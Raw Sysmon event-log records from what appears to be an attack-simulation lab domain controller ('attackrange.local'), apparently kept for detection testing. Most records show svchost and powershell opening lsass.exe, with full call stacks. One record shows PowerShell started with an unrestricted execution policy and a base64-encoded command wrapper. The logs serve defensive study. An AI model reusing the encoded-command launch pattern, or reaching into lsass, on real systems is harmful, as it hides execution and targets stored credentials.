09:10:32.646{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003530Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003529Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.599{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003528Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.599{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003527Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.552{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_ncj4bcir.2qk.ps12020-10-09 09:10:32.552 10341000x80000000000000003526Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.552{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003525Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003524Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003523Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003522Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003521Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003520Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003519Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003518Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003517Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003516Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003515Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003514Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.521{A5F018FF-2908-5F80-B300-000000007F01}42322216C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+91626adb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac7965|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac7636|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+91578c9b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90a881cc|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ae669b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac9d00|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac9d00|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac9b91|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90abbb16|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac8049|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac7c3c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac7965|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90ac7636|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+91578c9b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90aae497|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+90aada67 154100x80000000000000003513Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.530{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUA